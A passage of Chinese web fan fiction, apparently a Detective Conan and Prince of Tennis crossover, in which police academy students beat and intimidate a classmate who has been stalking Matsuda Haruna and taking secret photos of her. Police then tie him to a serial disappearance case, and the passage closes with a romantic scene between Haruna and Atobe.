看着消失在对话框里的偷拍照,小岛健太自认为他完美解决了眼中钉,肉中刺,心情美得很。连周末也不想过,只想把时间拨快几天,最好下一秒就是周一,能亲眼见证松田春奈被大家歧视讨厌的场景。 光是想到这件事,都能让他笑出声。 在看到有人向自己跑来的时候,小岛健太做贼心虚,觉得自己东窗事发,第一时间掉头往相反方向狂奔。警校组如同非洲草原上训练有素的狮群,渐渐把他引到了没有监控的角落。 等小岛看到前面是一堵墙,再无其他路的时候,才知道自己中了圈套。 他停下脚步,猛一回头,正巧撞到了松田阵平的身上。 松田阵平把他的手腕用力一折,只听得一声凄厉的惨叫,原本捏在小岛手里的手机瞬间掉落到他的手里。 物证到手,也就无需再有什么顾忌了。 松田阵平一拳把他打倒在地,正中他的眼睛,对方的表情瞬间变得扭曲起来,身体在地上扭动得像只蛆。 松田一把抓住他的衣服领口,像拎小鸡一样,把他从地上拎起来,刚想继续动手。诸伏景光的声音立时从耳麦处传来:“松田,记得别留下印子。” 松田阵平骂了声脏话,力气大到仿佛能把小岛的衣领撕碎。 他低下头,像看死人一样地看着他,朝他露出一抹嗜血的笑:“我已经很久没有这么打过架了,今天正好试试我的身手有没有退步。” 小岛健太打了个激灵,能看出来他是真的想杀了自己,大声嚎叫道:“救命啊!杀人啦!警察当街犯罪了!” 声音倒是够大,只可惜这个地方早就被几人踩点研究过了。位置偏僻不说,还少有人来。 警校组几人高大的身影再在前面一挡,就像一堵厚重的墙。根本看不到里面发生了什么。 其他几人知道松田阵平需要发泄,报完警之后就守在他旁边。一是让他悠着点,二是保证在警察到来之前好提前收手。 松田春奈赶到的时候,萩原研二他们几个正站得像门神一样。隐隐约约能听到里面传出来求饶哀嚎的声音,和闷不做声但却拳拳到肉的声音。 “春奈,你想动手吗?别怕,我们给你放风。” “我还没学会怎么打才能不留印子,还是交给我哥好了。” 何以解忧?唯有动手! 暴力虽然不能解决所有问题,但能解决小岛这个问题就足够了。 作者有话说: 感谢在2024-03-11 21:09:07~2024-03-13 23:58:27期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:枕书入眠、江惜晨、懒懒、L_x.ying、逢考必过1瓶; 非常感谢大家对我的支持,我会继续努力的! 第36章 松田阵平在墙角收拾人,没空检查物证。诸伏景光他们几个直接替他代劳,在相册里找到了好几张小岛健太各种角度偷拍松田春奈的照片。 大都是今天在医院现拍的,还有两三张是昨天在校门口拍得。照片上的视角十分刁钻,特意把松田阵平裁去,只照了松田春奈和萩原研二两个人。 画面中的两人有说有笑,颇有种小情侣的氛围感。甚至还有一张借位照,恰巧是萩原研二低头听松田春奈讲话。 乍一看,很像是女方在踮脚亲吻男方的脸颊。 警校组见多了下三滥的手段,打眼一看就知道小岛健太拍这种容易造成误导的照片是为了什么。 在如今的社会,未成年女高和青年男子的恋爱绯闻,只需让水军稍加诱导,社交平台下面就会有大把的负面评论。 萩原研二面色铁青,把外套一脱,转身加入松田阵平的围殴行列。 “你们知道我是谁吗?”小岛健太从被打开始,背部就没直起来过。一直在地上抱头翻滚,弓起来的身子活像只被煮熟了的虾。 他的上衣因为不停地滚动而翻上去了一截,露出他孱弱的,毫无锻炼痕迹的白斩鸡似的腹部。 “当然知道。”萩原研二走到他面前,把他的上衣拉下来,冲他露出一个毫无笑意的笑容。 “那你们还不快点放我走!”小岛健太感觉眼前这个人比之前那个卷毛看起来脾气要好上不少,不但给他整理衣服,脸上还笑眯眯的。于是瞬间来了底气,放着狠话说道。 “放你走?”萩原研二打架的经验没有发小丰富,没法像他一样直接动手而不留伤痕。 他先是低头估摸好位置,隔空比划了一下,然后眼也不眨地蓄力向他的肋骨处挥拳:“打得就是你!” “啊——” 小岛健太感觉自己的灵魂好像因为剧烈的疼痛,而骤然离开了自己身体几秒钟。生理性泪水顺着眼角滑落,在他蹭得满是灰尘的脸上留下一道斑驳的痕迹。 他的脸因痛苦而扭曲,肋骨处如被铁锤砸过般,连呼吸都觉得困难,只能躺在地上不停地抽搐。 他只觉得后悔莫及,刚刚怎么会觉得这个笑面虎更好说话呢。 这家伙明明更可怕才对。 他会先用友善的表情迷惑你,当你放松警惕,以为在自己能逃出生天之时,又会在下一秒亲手打破你的幻想。 这种明明有过希望,但是又亲眼见证其破灭的打击,远比从未有过希望的人生还要痛苦。 小岛健太侧躺在地上,大口地喘着气,声音像破旧的老风箱,一直呼哧呼哧的。 他的双臂也因为保持一个动作多时而力竭,气若游丝地说道:“求你们,别打了,饶了我吧。” 他看上去已经完全失态,身上满是汗水和尘土,头发也乱糟糟的,整个人和之前光鲜亮丽的形象大不相同。 估摸着警察快到了,降谷零走过去让他们收手,提前整理下仪容仪表别露馅。 看着小岛健太以手撑地,折腾了半天还没站起来,诸伏景光轻笑一声,拿起手机对准他的狼狈姿态,按下了快捷键。 感受到闪光灯在自己身上闪了好几次,小岛健太的心理防线彻底崩塌。 “删掉!我命令你删掉!”他挣扎着爬起来,冲着诸伏景光嘶吼道:“快点把我的那些照片删掉!” “要我删掉也可以。”诸伏景光一脸平静地看着他发疯,“呆会儿警察来了之后,相信小岛君也知道哪些能说,哪些不能说吧。” 他能感觉出来,小岛健太是那种把自己在他人眼中的形象看得大过天的人,肯定无法接受自己狼狈的一面被老师和同学发现。 事实证明,他看得很准。 小岛健太只要一想到自己人生中最黑暗的时刻将会被公之于众,所有人都能对他指指点点。他就害怕得想要躲起来,最好躲到一个任何人都不认识他的地方去。 但凡能把这个黑历史永远删除,让他做什么他都会愿意。 听出来诸伏景光的潜在意思之后,小岛健太立刻点头,表情谄媚极了。配上他右眼渐渐发青的单边黑眼圈,显得有些不伦不类。 “我知道我知道。身上这些灰都是我自己摔的,和你们没有半毛钱关系。” “照片在你做完笔录之后,我自然会删。你只要老老实实地把你最近的所作所为交代清楚,并且保证以后不会再犯,这次的事就先这么算了。” “成交!” 听到他们提的要求,小岛健太的眼珠子转了几圈。就凭他们几个平民,估计也请不起什么好律师。 交代就交代,不就是偷拍吗,又不是什么大事。到时候进了警视厅,前脚自己的律师交完保释金,后脚自己就能出来。 哪怕他们再不爽,但当着警察的面,估计也不能拿自己怎么样。 就算他偷拍的人是迹部景吾的女朋友又如何? 听说他们家族正准备进军渔船行业,自己的爸妈刚好又在国内渔船业的领军企业里当高管。 他就不信,迹部到时候还能计较这种小事。 未来事业上的伙伴关系怎么可能还比不上区区一个平民女友。 想到这里,他看了眼旁边站着的松田春奈。 她衣着整洁,眼神干净,像棵昂扬向上,生机勃勃的白杨,衬得自己更是狼狈不堪。他暗暗咬牙,反正她的偷拍照自己都已经发出去了,且让她再风光两日。 “你最好保证那些偷拍照不会外传。否则,你躺在地上打滚求饶的英姿,会传遍你呆过的每一个地方。”降谷零看着他的眼神总是不老实地来回乱转,心生厌恶。 “记住,是每一个!”知道这个人把面子看得比自己性命还重,他最后特意把语速放慢,声音加重,威胁力度拉满:“从幼稚园到你以后上的大学,甚至到你之后的工作单位。” “你们是警察,你们不能这么做!我要举报你们!” “谁说是我们做的?你有证据吗?那明明都是热心群众做得。” 小岛健太的眼神一缩,瞳仁骤然变成了针尖大小。 不,他绝不允许这样的事情发生! 转学,他要马上转学!最好是出国! 都怪松田春奈这个贱人!要不是她考第一强了自己的风头,自己也不会变成现在这个样子! 先把他们骗过去,等到周一在学校看完这个贱人的戏之后,他就立马转学走人。 降谷零说话的时候,目光一动不动,直直地盯着小岛健太脸上的表情。一开始他还没什么变化,等他最后开始威胁他的时候,这家伙的脸色已经变得煞白,额头上也慢慢渗出了豆大的汗珠。 见状,警校组的心突然往下一沉。看来这些偷拍照早已被发了出去。 无他,这家伙的表现实在是太明显了。都不用其他的审讯手段,脸上就明摆着一副害怕清算的样子。 “你把照片都发给谁了?”松田阵平拳头紧握,指关节因用力而显得发白。他死死地盯着小岛健太,声音阴沉得像是从喉咙深处挤出来一样,“说!你到底都发给谁了?” 小岛健太知道警察快来了,他们现在也不敢对自己轻举妄动。 仗着“那个人”神通广大的反追踪能力,和每次看完就会自动消失的聊天内容,他装傻道:“什么谁?没发给谁啊?不信你们看我的聊天记录。” 降谷零在一旁看着松田,生怕他再扑过去补一拳。要是正巧被警察撞到,那可就说不清了。 诸伏景光打开小岛健太的手机后台,搜索之后确实没有发现相关的聊天记录。 看着他一副不怕他们查看的嚣张样子,伊达航开口:“小岛君,你可能不清楚。警察是有权调取聊天记录的。就算你之前删了,到时候也能恢复。” 听到这儿,小岛健太的眼皮轻微颤抖了几下。他知道这些人是想诈自己,但他都已经做了那么多了,绝不允许功亏一篑。只要能让松田春奈跌下神坛,他愿意不惜一切代价。 想想“那个人”手眼通天的手段,他努力安慰自己,他们不过是在吓唬自己罢了。 小岛健太双眼满是仇恨地看着松田春奈,在脑海里不断臆想着届时她被众人厌恶躲避的场景,这才渐渐冷静下来。 * 警校组在报警的时候,特意声明了他们在场人数较多,所以警视厅这边直接派了两辆警车过来。 松田兄妹和小岛健太在一辆车上,其余人在另一辆车上。 降谷零他们还是不死心,在警车上研究了一路,翻遍了小岛的手机也没有找到他给别人发送松田偷拍照的蛛丝马迹。 警校组之所以努力找小岛传播偷拍照的证据,就是因为传播偷拍的行为,会比单纯的偷拍罪判得会更严重一些。 开车的警察显然很有经验:“说不定是嫌疑犯把聊天记录删除了,这个我们后台一恢复,马上就能调出来。” 降谷零想着小岛有恃无恐的表情,总感觉事情不会那么简单。 果然—— 即便技术组的警察把小岛手机里每个聊天软件的记录都恢复了,还是仍然没找到他传播偷拍照的证据。 小岛健太松了口气,自己果然押对了。 他瘫坐在椅子上,吊儿郎当地大声喊冤:“松田桑,我是真没有把你的偷拍照发给别人!” 周末丢东西来报警的人本就比平日里要多,警视厅里的等待椅上坐了不少人。 小岛健太此话一出,令人遐想的内容再搭配上他语焉不详的关键词,让周围的人都纷纷扭头朝他们这个方向看过来,视线里满是探寻和八卦的意味。 年轻的警官看不下去他这么嚣张的德行,训斥道:“不要在这里大声喧哗!” 小岛健太冲警官笑笑,做了个投降的手势,然后扭头观察松田春奈的表情。 他本以为陌生人探究的眼光能使她浑身不自在,但没想到她丝毫不为所动,仍然笔直地站着。不但如此,她还眼神轻蔑地把他从上到下扫了个遍,仿佛是看见了什么脏东西一样。 他瞬间被激怒:“你这是什么眼神?!你凭什么这么看我?!” “看手下败将的眼神而已。” 小岛健太看着她不以为意的样子,心里越发来气,更想把她激怒。看她失态崩溃,痛哭流涕。 “真没想到,松田你竟然挂得是精神科。不会是有精神病吧?”他充满恶意地说道,“你一个精神不正常的人是怎么考到年级第一的?不会是有人给你提前透题了吧?” 松田春奈面不改色地说道:“要是我精神有问题的话,那你岂不是一个连精神病都考不过的废物一个。” “你放屁!谁说我考不过你的!谁不知道你男朋友迹部景吾是校董的孩子,他肯定每次考试之前都给你透题了!” 就在他大喊大叫的时候,小岛健太的父母和律师也一并赶到了。小岛父母身着套装,西装革履,一看就是社会精英。 在听到自己儿子口无遮拦说到迹部景吾的时候,小岛的父亲二话没说,上前就给了他一巴掌:“不要胡言乱语,周一立刻去给迹部君道歉!” “啪”地一声,原本还有些乱哄哄的警视厅,瞬间都安静下来了。 众人明里暗里打探的目光,远比刚刚看松田春奈的时候更甚。 小岛健太的脸色是常年不见阳光的惨白,这一巴掌过去,他的右脸以肉眼可见的速度变红变肿,和右眼上的淤青颇有些相得益彰。 松田阵平撇撇嘴,早知道他这么抗打,自己当初揍他的时候,劲儿完全可以再使大一点。 不知道是看见了父母,还是被当众打了一巴掌,小岛健太顿时安静不少,神色恭敬拘谨。 律师负责去和警察攀谈了解情况,小岛父母打完巴掌之后,先是上下打量了一下松田春奈几人的穿着,发现他们身上一点奢侈品都没有,姓氏也从来没听说过。 懒得和平民装样子,小岛母亲居高临下地说道:“小姑娘,这应该是个误会。像你这样的人我们见多了,看见有钱的同学就想往上扑,这点我们不好评价,但健太是绝不会跟踪你的。” 松田春奈面露惊讶:“可是小岛君刚刚自己都承认了。” 小岛父母只觉得一口气没上来,连表情都维持不下去。 他们看着自己儿子低着头,一句也不说的样子,就知道他肯定又一时冲动说了不该说的话,恨铁不成钢地说道:“以前不是告诉过你,在律师到来之前别乱说话,保持沉默吗?” 小岛健太在心里暗暗叫苦。 他当然记得不要乱说话,但谁让他们手里有自己的把柄呢。 “今天确实是个误会,小岛君根本没有跟踪他人。”律师见状上前说道:“据我所知,小岛君今天也是去看医生的,不过是在医院恰巧碰到了松田桑,算不上什么跟踪。” “我去的是精神科。” “小岛君精神方面确实有些问题,我们这边可以提供病历。” 松田春奈噗呲一笑,玩味地看着小岛健太:“真没想到,原来精神有问题的是你啊。” 小岛健太只觉得自己今天的脸都要丢尽了,根本抬不起头。 “小岛君,要不你自己说吧,到底有没有跟踪偷拍我?”松田春奈不想听律师扯皮,直接点名问道。 小岛父母本以为他会立刻顺着他们铺好的台阶走下来,没想到关键时刻,他却开始犹豫起来。 “说啊。”看他迟迟不表态,小岛父母急了,使劲戳他,“倒是说话啊你!” 看着诸伏景光有一搭没一搭地晃动着手机,他闭了下眼。 光凭这些人高马大的家伙刚刚冲着自己下死手的样子,他就能确定这不过是一群表面看起来正常的疯子。 别人可能就是口头上威胁一下,但这群人绝对能说到做到。只要他敢否认这些事,他们能立刻在警视厅就把那些照片打印出来,挨个人发一遍。 想想就胆颤! 他绝不能比松田春奈这个贱人先出丑! 要丢人,也应该是她才对! 小岛健太强撑着不去看父母的脸色,抖着嗓子说道:“我确实是跟踪偷拍松田桑了。” 作者有话说: 感谢在2024-03-13 23:58:27~2024-03-16 23:49:07期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:霜雪10瓶;L_x.ying 5瓶;嗜辣的喵4瓶;月、眠北1瓶; 非常感谢大家对我的支持,我会继续努力的! 第37章 小岛健太话音未落,他父亲上前又给了他一个巴掌,这下他脸的两边彻底对称了。 “简直愚不可及!我怎么会有你这样的孩子?要是当年死的不是你哥——” “阿娜答!”小岛母亲惊呼着打断道。 闻言,小岛健太的头垂得更低了。 习惯了,每当他没有达到家里人的期望值时,迎接自己的就是这句话。 谁让几年前的那个夏天,在离岸流中因溺水丧生的不是自己,而是自小品学兼优的同胞哥哥呢。 在兄长去世之后的很长一段时间,小岛父母要么是在互相推诿,讥讽对方没有担起父母责任;要么就是在同仇敌忾地责怪他,当时为什么要跑去玩沙子,而不是时刻盯着兄长,导致其直接错过了救援的最佳时机。 小岛哥哥在的时候,父母的眼中就没有他,夸奖和赞扬都有固定的人选,迎接自己的不是无视就是对比后的叹息。没成想他人走了之后,他们对自己的态度还是没有改变。 为了让父母可以对自己露出欣慰的,如同看向自己哥哥般和煦的目光。他玩了命似地努力学习,一丝不苟地完成他们布置给自己的额外任务。 虽然他不算聪明,但好在足够努力。 慢慢地,大家潜移默化之中也觉得他好像和早逝的胞兄差不多优秀。 之前他在冰帝只能拿第二名,但毕竟第一是迹部景吾,父母也就没多说什么,只是嘱咐让他保持住如今的名次,不要给家里丢脸。 期盼已久的父母温情终于落到了自己身上,为了留住这点温暖,他用尽了全力——直到松田春奈的出现! 他这个所谓“好学生”的名头在她的面前就像一层纸糊得薄膜,轻飘飘地就被撕碎了。 也让他再一次感受到被天才笼罩住的阴霾,就像之前胞兄带给自己的感受一样。 无论你怎么努力,她仍然死死地压你一头。 当他承载得不再是自己早逝胞兄的优秀合集,而是露出了他本身所代表的平庸时。笼盖在他们之上绣满了父慈子孝的面纱被瞬间揭开,展现出了他们的本来面目。 小岛健太看着自己父亲转身往外走的身影,表情阴郁。 都怪松田春奈,只有她消失不见,那些原本属于自己的光环和亲情才会重新回到自己身边。 至于说当年他到底是真没注意到哥哥的求救,还是明明看见了他的挣扎却立刻低头佯装玩沙。 只有天知道。 小岛母亲虽然打断了自己丈夫的未竟之言,本意却也不是为了保护小岛健太,只是单纯觉得家丑不可外扬。 她走到小岛健太的面前,让他抬起头,直视自己,然后重重地说道:“健太,爸爸妈妈对你很失望。你自己好好想想,如果此刻是哥哥在这里的话,他会怎么做?” 小岛健太玩味地想道,自己哥哥那个老好人,就算是出现在警视厅也是因为见义勇为,而不会以嫌疑犯的身份进来。 自诩为最了解大儿子的人,却连这点都想不到,也算是一种黑色幽默。 这么一想,他又觉得要是他哥哥还在就好了,说不定他还能天天看着他们上演圣母和黑心商人的闹剧。 小岛母亲放完话后也没再管他,转身和律师交流了几秒就踩着高跟鞋离开了。 虽然被扇了两巴掌,但小岛健太却像看开了一样,整个人平静地像是完成了游戏任务的NPC,坐在椅子上自顾自地发起了呆。 打也挨了,骂也受了,最煎熬的部分已经过去,现在只剩下交钱走人了。 即便他刚刚当着大家的面承认了偷拍,但他打心眼里没把这个当回事,十拿九稳地觉得自己很快就能离开。 一旁的律师不断催促着年轻警察去结案,不然就给他们的上级打电话投诉。 年轻警察耸耸肩:“周末人多,目前所有的询问室都满了,做笔录得排队。” 律师的第六感告诉自己,再这么耽误下去可能会生变,到时候就不是交钱就能走人的事情了:“那就在大厅做笔录!” 警察似笑非笑地看着他,冲着小岛健太的方向一抬下巴,意有所指地问道:“你确定他会同意在大庭广众之下做笔录吗?” “ ”律师顿时没话了。 就这位少爷本事不大,脾气挺大的性格,他还是别上赶着去找骂了。 警校组到警视厅之前,在车上提前联系了上次在爆炸案中结识的直系前辈,想让他帮忙出出主意,看能不能找出来点其他线索。 当时前辈手头上正忙着另一个案子,一时赶不过来,私下里让同僚帮忙拖一下时间,先别那么快放人。 等他赶过来时,那位年轻警察终于松口,这才带领小岛健太他们去做了笔录。 “这小子挺贼的,虽然是偷拍,但拍得都不是具体的私密部位。再加上他是初犯且不满18岁的份上,最后估计就是交完罚款就没事了。”前辈说道。 “那如果再加上传播偷拍照的行为呢?”松田阵平不死心,一心想把小岛健太摁在留置所里,“据我们猜测,他有极大的可能性把偷拍照传给了别人,只是目前我们还找不到确切的证据。” “要是证据齐全的话,最多可以拘留他20天。”前辈一边翻着手里毫无破绽的聊天记录,一边皱眉问道:“你们看过他的手机话费账单吗?” 警校组对视一眼,萩原研二立刻跑去找技术组的警察帮忙。 话费的各项套餐项目一加减,果然出现了漏洞! 萩原研二激动道:“他的话费余额和明面上所扣除的各种费用明显对不起来,差了起码有1080円。” “也就是说,话费里额外扣除的1080円就是他向外传播偷拍照的费用了” 松田阵平吐出一口恶气,总算能把这小子给关进去长长教训了。 前辈随便找了个人,让他帮忙把新鲜出炉的证据给帮忙递进去,嘱咐道:“那小子不经诈,估计最后自己就能秃噜出来。他的拘留时间记得往顶格算,省得他一副警视厅是他家,来去自如的样子。” 很快,询问室里就传出了怒吼:“发给别人又怎么样?你们敢拘留我?!我要报警!我要投诉你们!” 伊达航低声吐槽道:“在这儿还想报警,他算是找对地方了。” 过了一会,询问室里的声音渐渐低了下去。 小岛健太被带出来的时候,脸上的怒气仍未消除,用力地瞪向每一个看向自己的人,像是角斗中杀红了眼的牛。 当他看到松田春奈的时候,猛地朝她的方向扑腾,眼神狠厉,嘴上大喊着:“你今天是故意套我话的对不对?你这个贱人!” 警察按住他,喝道:“不许大声喧哗!” 小岛健太被压倒在地,动弹不得。却还是用尽力气抬头看着她,嘴里发出“赫赫”的笑声:“拘留就拘留。我不过是拘留几天,松田你可就不一定了。” “你什么意思?”松田阵平变了脸色。 “你们以为我的聊天软件是怎么来的?”小岛健太喘着气道,“松田,我等着你声名狼藉,臭名远扬的那一天。” “去医院复诊就声名狼藉,臭名远扬了?我看你真是电视剧看多了,在拘留所里多接受点正常教育吧。” 小岛健太气急:“你一个精神病,你凭什么——” 松田春奈冷静道:“你现在可以找个镜子照照自己,就你现在的精神状态,你比谁都适合去精神科看病。” 押送警察接话:“放心,拘留所里也配备医生的。肯定会给他好好检查检查。” 两名警察把小岛健太带走之后,警察前辈的眉头非但没有放松,反而拧得更紧了。他看了眼松田春奈,冲她笑笑:“妹妹,麻烦你去楼上的自动贩卖机帮我买瓶红茶饮料吧。” 松田春奈知道他们是想背着自己说话,并不多问,接过零钱就走。 看着她远去的身影,前辈脸上的笑容瞬间消失。他摸了摸自己还健在的头发,咬着烟说道: “最近九鸟县有个年轻女性连环失踪案,和你妹妹的这个案件细节有点像。” “失踪的三名女性年纪都不大,在18—22岁之间,都是先报警有人跟踪偷拍她们。可是当地警方抓到嫌疑犯后,都没有在手机里找到确切的证据,最后只能口头批评一下就放人走了。没过几天,几名年轻女性就相继失踪了。” “虽然警方当时调取了嫌疑犯的手机话费,发现了手机里的扣费和最终余额对不上,但是因为相册里没有找到偷拍照,也没法给他定罪。” “在求助了信息科的同僚之后,初步断定应该是有人给他们提供了某软件,当用该软件发送讯息时,就会产生阅后即焚的效果。感谢咱们国家雁过拔毛的资本主义运营商,谁都别想昧走一円话费,不然还发现不了端倪。” “我怀疑,这次指使别人偷拍你妹妹的幕后黑手,和造成九鸟县这个连环失踪案的就是同一个人。” 松田阵平心跳如雷,大脑飞速运转:“九鸟县的那个案子,距今为止,受害者失踪时间最长的是多少天?” “25天。”前辈说道,“而且,这三名女性消失的时间差不多间隔一周左右。” 只要一想到下一个受害者有很大可能是自己的亲生妹妹后,松田阵平觉得自己的呼吸都变得不顺畅起来。 “按照幕后人的作案规律,被盯上的第四名女性很快就要有危险了。” 前辈拍拍松田阵平的肩膀:“最近让你妹妹上下学小心点,最好让你父母每天接送。我们这边已经抽出刑警去支援九鸟县的这个案子了,等他们破案之后就好了。” 松田春奈把饮料买回来的时候,发现前辈已经走了,只剩下警校组在原地等她。 “那这瓶红茶——?” “给我吧,正好我也渴了。” 松田阵平毫不客气地接过来,“咕咚咕咚”地喝了一大半,还在冒着凉气的瓶身刺激着他发热的大脑快速冷静下来。 他一抹嘴巴,笑得与往常无异:“春奈,爸妈刚刚给我打了电话,说他们最近比较忙,可能没法按时接送你,所以打算让你来警校住一段时间。你看怎么样?” “哈?”松田春奈疑惑极了,用手指了指自己说道,“我?住警校?” 警校组连忙点头,目光里写满了认真。 刚刚他们商量了一下,还是觉得警校里最安全,嫌疑犯总不能翻进警校把人绑架了吧。 而且,晚上还能让同宿舍的女警帮忙看护,简直是再完美不过了。 松田春奈:“这个案子不是结束了吗?我住家里自己上下学不就行了吗?” 松田阵平“嗯”了半天,还是没找到合适的理由,婉转道:“案子可能还没有完全结束。” 松田春奈秒懂。 为了自己的安全,住警校也没什么不好的,正好还可以开开眼界,近距离观摩一下自家哥哥的警校生活。 “那你们教官同意这件事吗?” “已经报备过了,上面说你可以住在女警那边的宿舍。” 别看松田阵平说得这么云淡风轻,一开始他给鬼冢教官打电话申请的时候,刚开了个头,就被教官怼了回去,简直被骂得狗血淋头。 “松田,你以为警校是你家开的啊?还是警视总监是你爸?你想让谁住这就住这?” “教官我是真的没有办法了,我妹妹她被九鸟县那边的人给盯上了——” “你妹妹?就是上次在网球场拆炸弹那个?” “对,就是她。” “哦——那我去问问上级,看能不能给通融一下。” 挂电话之前,鬼冢教官语重心长地说道:“松田啊,以后向上级汇报内容的时候,记得把重要的信息放到开头讲。” 松田阵平在内心腹诽,他这不是还没开完这个头,就被您老给撅回去了吗。 看得出来,松田春奈上次拆弹的功劳很大。当时捡回了一条命的富豪们误以为拆弹的人是个警校生,所以纷纷向警校捐款。学校这边天降馅饼,正巧不知道怎么还人情。 鬼冢教官的电话回得很快,告诉他们上级亲自发话,可以破格让松田春奈入住女警宿舍,直到九鸟县的案子破了之后再搬。 虽然松田阵平已经努力扯出和平时一样的笑意,但松田春奈还是能从他的眉眼深处看到一丝焦虑,整个人气压低得连周边的空气都跟着凝固起来。 她仿若未觉,配合他演戏:“我住在警校的话,那你每天还要接送我吗?” “当然!不光是我,他们也都一起!” 竟然要出动这么多人。 看着警校组齐刷刷地看着自己,松田春奈好奇道:“你们每天接送我,不会耽误训练吗?” 降谷零安慰道:“不会,这点训练量找时间就练回来了。” “那旷课会被教授记过,影响评优吗?” 为了防止打草惊蛇,松田春奈入住警校的深层原因需要保密。警校组想了想自己的课表,对比着授课教师的性格咬牙说道:“放心,影响不大。” 被发现旷课溜号大不了就是罚跑加练,反正他们皮糙肉厚的也习惯了。 松田春奈看着降谷零,认真说道:“降谷哥,如果你因为接送我而导致丢失平时分,不能拿奖学金的话,我会给你打钱补回来的。” “”降谷零没想到她会说出这样的话,哑然失笑道,“警校的奖学金不算这个。” 松田阵平不平道:“你怎么光问降谷奖学金的事,我呢?我们呢?” “我可没有这个疑问,小阵平你吃醋别扯上我。”萩原研二连忙说道。 说到这儿,警校组想了想,觉得他们一堆人一齐消失不见还是太显眼了。决定用石头剪刀布来选择一名同志留守课堂,替其余人签到。 在一堆拳头中,伊达航的剪刀手格外显眼,最终光荣当选。 在周末短短两天模拟点名签到的突击训练中,就连他自己也没想到,他的嗓音模仿能力竟然那么强。 直到九鸟县的连环失踪案判决完毕,伊达航还会在其余四人偶尔逃课时帮忙点名签到。 并且在刚毕业还没有多少积蓄时,就成功凭借声优的副业凑钱买好了求婚钻戒,如愿听到了女朋友的那句“Yes,I do.” 作者有话说: 感谢在2024-03-16 23:49:07~2024-03-20 22:06:55期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:月、枕书入眠、L_x.ying、孔子一米九1瓶; 非常感谢大家对我的支持,我会继续努力的! 第38章 既然已经打算好搬到警校去暂住,警校组决定事不宜迟,雷厉风行地带着松田春奈回家收拾东西。 刚进巷口,就看见一辆造型华丽的车停在路边。 迹部景吾只要一想到他们今天要去现场逮人,就无法安心工作。手上虽然批着文件,心却不自觉地飘到了别的地方。 明明一大早就睡不着,爬起来工作半天,效率却低得惊人。 他想了好久,还是觉得自己得过来看一眼才安心。 既然不让他去医院和警视厅门口等,那他在女朋友家门口等总没事了吧。 找到理由之后,迹部景吾心安理得地抱着一大摞待批改的文件上了车。说来也怪,自从来到松田宅附近,他心也不慌了,手也不抖了,工作得也更来劲了。 每批完一份文件,他就眺望一下窗外,看看有没有女朋友的身影,权当劳逸结合了。 当看到松田春奈一身轻松地出现在自己面前时,迹部景吾立刻打开车门,连忙问道:“春奈,怎么样?一切都好吗?事情都结束了吗?” 松田春奈眼前一亮,没想到他会在这里等着自己。 不想让男朋友牵扯进这个案子,她轻描淡写道:“证据确凿,小岛健太自己也承认了,最终被拘留了20天。” 迹部景吾心里的石头终于落地。 松田阵平看着他们在车外说个没完,皱眉问道:“迹部,你车里有保镖吗?” 迹部景吾拿不准他什么意思,老老实实点头道:“有的,我每次出门都带。” “那你们俩进车里聊。”松田阵平被九鸟县的案子搞得心神不宁,总感觉到处都不安全,伸手把他们俩推进了车里。 有保镖在车里看着他们,起码还能多一层保障。眼看着车门落上锁,他才放下心。 “把窗户也升上去”松田阵平指了指窗户,向上抬了抬手,叮嘱着自己妹妹,“聊完之后,记得让他送你回家,听见没有?” 松田春奈点点头,不去给自己找麻烦。 松田阵平难得看她这么乖巧,冲她挥了挥手。也没故意为难迹部,互相打了声招呼,就带上其他人去当自己妹妹的搬运工了。 平时睡觉必备的抱枕,习惯用的水壶都带上,务必要让春奈在警校中感受到家的温暖。 虽然幕后黑手还没抓到,但想到自己终于可以和以前一样,每天按时和妹妹见面,松田阵平的心情也稍微轻松了一些。 迹部景吾这次没等到女友哥哥的黑脸,还有些不习惯。 他在车里正襟危坐,不敢随意造次,一直等到警校组离开之后,才小心翼翼地确认道:“你哥哥这是终于承认我是你男朋友了?” 松田春奈没打算解开这个美丽的误会,给他洗脑道:“我哥他不是一直都承认你是吗?不然他也不会对你甩脸子啊。” 对啊! 迹部景吾豁然开朗。 松田阵平为什么不冲别人黑脸,直冲自己黑脸? ! 还不是因为其他人都不够格! 看来只有自己才有让女友哥哥黑脸的资格。迹部景吾美滋滋地想道。 前排的保镖默默把隔声板升了上去,松田春奈看着后车座上铺满的文件,问道:“景吾,你累吗?” “等女朋友怎么会觉得累。”迹部景吾自然道。 小岛健太的事情终于解决了,他试探地问道:“春奈,明天你有空吗?要不要出去约会?” 想到幕后黑手还没落网,松田春奈不想给哥哥他们增加工作量,打算周末老老实实地继续宅着。 拒绝的话还没说出口,就被自己男朋友一闪一闪的眼睫毛看得有些手痒。 看了眼将前后座挡得严严实实的隔声板,她还是不放心,凑到他面前,用气声说道:“你让我摸摸你的眼睫毛,我就告诉你。” 迹部景吾的脸“唰”地一下变红了不少,手心疯狂冒汗,用嗓子眼挤出来个“嗯”。 眼看她没反应,担心她没听见,又点了点头。 松田春奈其实一开始就听见了,但看着迹部一直没有闭眼让她摸睫毛的意思,也不好直接贸然行动。 直到发现他一直看着自己,松田春奈这才忽然反应过来,原来他想的是睁着眼睛让自己摸他。 意识到这点,松田春奈感觉自己的耳尖像是被火燎了一下似的,伸手挠了挠。 算了,睁着眼就睁着眼吧。 正好还能看看他的瞳孔到底是什么颜色的。 关于这点她已经好奇许久了。 据说迹部的奶奶是外国人,年轻时也是惊艳一时的大美人。直接让迹部爷爷在惊鸿一瞥之下患上了相思病,寤寐思服,跟在人家屁股后头追了好久才抱得美人归。 迹部的父亲还能看出来点混血的轮廓,到了迹部这一代,也就能从他深蓝色的瞳孔里窥到一点异域风情了。 “那我摸了啊。”松田春奈怕他乱动,别一不小心碰到他的眼睛,提前预告一声。 迹部景吾看着她向自己慢慢靠近,衣服上柔顺剂的留香一如既往,仔细闻的话,还能嗅出来一点医院消毒水的味。 三秒钟后,松田春奈纤长的食指终于碰到了他的睫毛。 有点痒。 他接连眨了几下眼睛,又连忙控制住。 松田春奈顺着他睫毛的弧度轻轻触摸,像是在摸玫瑰的刺。 情不自禁地,她的手指轻轻落到了他眼角的泪痣上。 “也许世界上也有五千朵和你一模一样的花,但只有你是我独一无二的玫瑰。” [1] 迹部景吾下意识地抓住了松田春奈的手腕:“我会给你芳香,给你光彩。” 他蠕了蠕嘴唇,还是咽下了后半句话。 ——我已经被你驯服,那你呢? 作者有话说: 